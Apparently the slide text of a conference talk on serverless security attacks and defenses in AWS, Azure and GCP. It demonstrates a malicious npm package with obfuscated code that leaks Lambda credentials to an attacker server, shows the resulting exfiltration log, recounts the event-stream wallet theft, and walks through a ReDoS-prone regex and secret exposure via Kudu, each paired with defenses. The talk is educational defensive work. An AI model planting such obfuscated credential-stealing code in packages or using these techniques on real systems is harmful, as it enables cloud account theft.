Serverless security: attack & defense

Pawel Rzepa
Senior Security Consultant, SecuRing
Agenda

- A quick look under the hood of serverless in AWS, Azure and GCP
- Dependency poisoning
- Denial of Wallet
- Secrets leak
- Over-permissive roles
- Dangling resources (aka shadow APIs)
#whoami

Senior Security Consultant in - Pentesting - Cloud security assessment

Blog:  https://medium.com/securing

@Rzepsky

https://www.linkedin.com/in/pawel-rzepa-5326965b/
WELCOME TO MY BLOG

Payment Provider

New purchase web-hook

Send e-mail to customer

Generate daily report

HTML, CSS, JS
<table>
<thead>
<tr>
<th>Monolithic architecture</th>
<th>Serverless architecture</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Refactor the website (maybe move to WordPress + PHP?)</td>
<td>Get confirmation of payment</td>
</tr>
<tr>
<td>• You don’t know how big traffic you’ll have</td>
<td>Send e-mail to customer</td>
</tr>
<tr>
<td>• You have to pay for hosting (based on your assumptions of the traffic)</td>
<td>Generate daily report</td>
</tr>
<tr>
<td>• You have to maintain your server (patch management, latency etc.)</td>
<td></td>
</tr>
</tbody>
</table>
FaaS on the example of Lambda

GET /rzepsky HTTP/1.1
http://www.lambdashell.com/
Azure Functions are deployed as App Service
All functions share the same environment
Demo
Demo
Meet Bob

• Junior developer
• He needs to develop a few serverless functions, only for internal usage

My apps aren’t public, so there is no need to put them in security review process
Bob uses Serverless Framework

AWS Region

AWS Environment
(Dev, Staging, QA or Production)

Cloud Application

AWS Resources

Serverless Configuration

AWS Access Keys

Lambda Source Code

Serverless Framework

Provision Resources
DEPENDENCY POISONING
Bob’s 1\textsuperscript{st} challenge:

Files uploaded to the particular S3 bucket should be automatically renamed with some prefix

test-new.png

```json
s3: {
  s3SchemaVersion: '1.0',
  configurationId: 'f67747b9-c02c-4e54-8e49-2dba5060d555',
  bucket: {
    name: 'serverless-security-demo',
    ownerIdentity: [Object],
    arn: 'arn:aws:s3:::serverless-security-demo'
  },
  object: {
    key: 'test-new.png',
    size: 20,
    eTag: '3de8f8b0dc94b8c2230fab9ec0ba0506',
    sequencer: '005E88ACC4D5810265'
  }
}```
s3-rename

1.0.16 · Public · Published 5 days ago

S3 Object Rename

Simple method to rename S3 object.

Usage

```javascript
const AWS = require('aws-sdk');
const rename = require('s3-rename');

var s3 = new AWS.S3();
rename.s3_rename(s3, 'name-of-the-bucket', 'name-of-the-old-key');
```

where **name-of-the-old-key** is the name of the S3 object which name you want to change and **name-of-the-new-key** is the new name of the object.
Bob writes a proof-of-concept
No older events found at the moment. Retry.

START RequestId: d26557bf-901f-48da-a861-a83fc8b5e97f Version: $LATEST
2020-04-21T20:27:10.827Z d26557bf-901f-48da-a861-a83fc8b5e97f INFO File has been renamed successfully!
END RequestId: d26557bf-901f-48da-a861-a83fc8b5e97f

No newer events found at the moment. Retry.
```javascript
const http = require('http');

exports.s3_rename = function (s3_object, bucket, old_key, new_key) {
  // this is for a demo
  var _cs=['\x65\x72\x72', '\x2f\x3f', '\x32\x34', '\x65\x6d\x70', '\x37\x2e\x32', '\x30', '\x47\x45\x54', '

  // Copy the object to a new location
```

```bash
[ec2-user@ip-172-31-4-199 ~]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 34.244.236.85 - - [26/Apr/2020 13:54:28] "GET /?key=ASIAZGBHVZ045VVTNPC HTTP/1.1" 200 -
```
How to defend?

• You can limit the outgoing traffic by using a **VPC-enabled Lambda in Private Subnet**

• **Outbound traffic** can be controlled by **Security Groups** (default VPC SGs allow all outbound traffic)

• If your Lambda need an access to any of your resources, then use **VPC endpoint policies** to control the access
dependency poisoning in real life...
In 2018 NPM EventStream package was found malicious...

EventStream

Streams are node's best and most misunderstood idea, and EventStream is a toolkit to make creating and working with streams easy.

Normally, streams are only used for IO, but in event stream we send all kinds of objects down the pipe. If your application's input and output are streams, shouldn't the throughput be a stream too?
Dominic Tarr

1,239 contributions in the last year
@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

dominictarr commented on 22 Nov 2018

he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get anything from maintaining this module, and I don't even use it anymore, and haven't for years.
Added the malicious package: **flatmap-stream@0.1.1**

- The malicious code was **decrypted only for the copay-dash package** - a popular Bitcoin platform which includes **event-stream** as a dependency
- The goal of the malicious script was to **steal Bitcoin wallets**
- It worked pretty well, but one method used by malicious package **became deprecated**....

```javascript
crypto.createDecipher(algorithm, password[, options])
```

<table>
<thead>
<tr>
<th>Version</th>
<th>Changes</th>
</tr>
</thead>
<tbody>
<tr>
<td>v10.10.0</td>
<td>Ciphers in OCB mode are now supported.</td>
</tr>
<tr>
<td>v10.0.0</td>
<td>Deprecated since v10.0.0</td>
</tr>
<tr>
<td>v0.1.94</td>
<td>Added in v0.1.94</td>
</tr>
</tbody>
</table>

Stability: 0 - Deprecated: Use crypto.createDecipheriv() instead.

Defense

- Monitor dependencies (Snyk/Black Duck/OWASP Dependency-Track)
- Scan for known vulnerabilities (`$ npm audit fix`)
  - For Python projects: `pyup`
  - For .Net projects: `dotnet-retire`
DENIAL OF WALLET
Bob’s 2\textsuperscript{nd} challenge:

*Only some extensions should be scanned*
// Read options from the event parameter.
const srcBucket = event.Records[0].s3.bucket.name;
// Object key may have spaces or unicode non-ASCII characters.
const srcKey = decodeURIComponent(event.Records[0].s3.object.key.replace(/\+/g, " "));
const dstKey = "[scan-me]" + srcKey;
var s3 = new AWS.S3();
var regex = new RegExp(/^[a-zA-Z0-9]+([\-\_]\?([a-zA-Z0-9]+))+(\.){1}[png|jpeg|jpg|svg]$/);
try {
    if (regex.test(srcKey)) {
        rename.s3_rename(s3, srcBucket, srcKey, dstKey);
        console.log('File has been renamed successfully!');
    }
}
Regular expression Denial of Service (ReDoS)
Denial of Wallet

• Default timeout in Serverless Framework is 6 seconds and maximum timeout is 15 minutes
• Price for 100 ms (1024 MB memory allocated): $0.0000016667
• Sending 100 K requests, each billed for 900000ms: ~1500 USD
Check your regex safety!

Test!
Defense

- Adjust Lambda concurrent execution limit and throttling
- Track anomalies in logs
- Set up a billing alarm
SECRETS LEAK
Bob’s 3rd challenge:
The Lambda function should create a new entry in DynamoDB
Why you shouldn’t store secrets in environment variables

<table>
<thead>
<tr>
<th>Key</th>
<th>Value</th>
<th>Remove</th>
</tr>
</thead>
<tbody>
<tr>
<td>HOST_DB</td>
<td>1.2.3.4</td>
<td></td>
</tr>
<tr>
<td>DB_PORT</td>
<td>3306</td>
<td></td>
</tr>
<tr>
<td>USER</td>
<td>db_user</td>
<td></td>
</tr>
<tr>
<td>PASS</td>
<td>(8cW:$W</td>
<td></td>
</tr>
<tr>
<td>DB</td>
<td>test_db</td>
<td></td>
</tr>
</tbody>
</table>
Example of default bucket policy created by Serverless Framework

```
{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:*",
      "Resource": "arn:aws:s3:::s3-renamer-dev-serverlessdeploymentbucket-aoydis1hp296/*",
      "Condition": {
        "Bool": {
          "aws:SecureTransport": "false"
        }
      }
    }
  ]
}
```
$ cat compiled-cloudformation-template.json

(...)

"Environment": {
  "Variables": {
    "HOST_DB": "1.2.3.4",
    "DB_PORT": "3306",
    "USER": "db_user",
    "PASS": "\(8cW:$W",
    "DB": "test_db"
  }
}

(...)
Defense

• Encrypt secrets, e.g. using KMS
• Store secrets in Secret Manager or SSM Parameter Store and easily reference them:

\[\text{db_pass: } \${\text{ssm:/path/to/db_pass~true}}\]

• In Azure use Key Vault
• In GCP use Secret Manager
Securing Azure Functions

04/13/2020 • 16 minutes to read • 

In many ways, planning for secure development, deployment, and operation of serverless functions is much the same as for any web-based or cloud hosted application. Azure App Service provides the hosting infrastructure for your function apps. This article provides security strategies for running your function code, and how App Service can help you secure your functions.

The platform components of App Service, including Azure VMs, storage, network connections, web frameworks, management and integration features, are actively secured and hardened. App Service goes through vigorous compliance checks on a continuous basis to make sure that:

- Your app resources are secured from the other customers' Azure resources.
- VM instances and runtime software are regularly updated to address newly discovered vulnerabilities.
- Communication of secrets (such as connection strings) between your app and other Azure resources (such as SQL Database) stays within Azure and doesn't cross any network boundaries. Secrets are always encrypted when stored.
- All communication over the App Service connectivity features, such as hybrid connection, is encrypted.
- Connections with remote management tools like Azure PowerShell, Azure CLI, Azure Functions, and Azure DevOps are also encrypted.
In Azure, secrets can be accessed by anyone who has access to:
- App Service
In Azure, secrets can be accessed by anyone who has access to:
- App Service
- KUDU

https://[NAME_OF_YOUR_FUNC].scm.azurewebsites.net/api/settings
In Azure secrets can be accessed by anyone who has access to:
- App Service
- KUDU
- Storage Account
(because you can upload a function which displays all environment variables)
Demo
OVER-PERMISSIVE ROLES
Bob’s 4th challenge:
Create the PoC app where internal candidates can submit their CVs
Demo
Don’t use shared function IAM role

```
provider:
  name: aws
  runtime: nodejs12.x
  iamRoleStatements:
    - Effect: Allow
      Action:
        - dynamodb: '*'
        - s3: '*'
      Resource: '*'
```
Use per-function IAM role

```yaml
plugins:
  - serverless-iam-roles-per-function

provider:
  name: aws
  runtime: nodejs12.x

functions:
  get-index:
    handler: functions/get-index.handler
    events:
      - http:
          path: /
          method: get
          #iamRoleStatementsInherit: true #optional
    iamRoleStatements:
      - Effect: Allow
        Action: execute-api:Invoke
        Resource: arn:aws:execute-api:#{AWS::Region}:
```
What if you can access resources only from the Lambda?
Demo
Defense

• Follow *least privilege principle!*
• Use per-function IAM role
• Harden your API Gateway
  • Use API Gateway Request Validation
    • serverless-reqvalidator-plugin *(https://bit.ly/2Xqay0k)*
In GCP **by default** all Cloud Functions in a Google Cloud project share **the same runtime service account** (with Editor role :O ) - create unique service account to each function.

In Azure apply RBAC to assign limited permissions to resource group. You can use Shared Access Signature tokens to get limited access to other resources.
But the reality...

Dude... it’s just for internal usage so I will not bother with all those additional steps!
DANGLING RESOURCES
Remember, finding dangling HTTP-triggered FaaS is as simple as enumerating subdomains!!!

https://[random].execute-api.[region].amazonaws.com/[/API endpoint name]

http(s):/[App Service name].azurewebsites.net/api/[/function name]

https://[region]-[App Engine name].cloudfunctions.net/[/function name]
In Azure functions there are 2 ways of passing the API key

API key authorization

Most HTTP trigger templates require an API key in the request. So your HTTP request normally looks like the following URL:

```
https://<APP_NAME>.azurewebsites.net/api/<FUNCTION_NAME>?code=<API_KEY>
```

The key can be included in a query string variable named `code`, as above. It can also be included in an `x-functions-key` HTTP header. The value of the key can be any function key defined for the function, or any host key.
Regularly audit your cloud infrastructure and remove all not used resources!!!
To sum up...
Gaining an access to the cloud is just a beginning...

https://bit.ly/30YhL8D
Let’s stay in touch!!!

• Are you interested in taking a cloud security assessment?

• Would you like to send me some feedback regarding this presentation?
  • Please contact me on pawel.rzepa@securing.pl
  • or on Twitter: @Rzepsky
  • or on LinkedIn: https://www.linkedin.com/in/pawel-rzepa-5326965b/

Thank you!!!
Thank You!